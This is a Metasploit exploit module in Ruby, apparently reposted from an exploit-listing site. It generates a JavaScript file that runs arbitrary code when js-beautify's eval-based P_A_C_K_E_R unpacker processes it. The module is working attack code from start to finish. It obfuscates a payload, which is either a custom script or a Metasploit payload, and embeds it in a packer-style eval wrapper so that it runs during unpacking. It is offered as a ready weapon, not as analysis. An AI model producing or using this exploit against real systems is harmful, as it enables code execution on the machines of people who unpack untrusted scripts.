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Javascript Injection For Eval-Based Unpackers Exploit
[##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::JSObfu
def initialize(info = {})
super(update_info(info,
'Name' => 'Javascript Injection for Eval-based Unpackers',
'Description' => %q{
This module generates a Javascript file that executes arbitrary code
when an eval-based unpacker is run on it. Works against js-beautify's
P_A_C_K_E_R unpacker.
},
'Author' => [ 'joev' ],
'License' => MSF_LICENSE,
'References' =>
[
],
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Feb 18 2015',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [true, 'The file name.', 'msf.js']),
OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.'])
], self.class)
end
def exploit
p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded);
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))")
end
end
# 0day.today [2024-11-16] #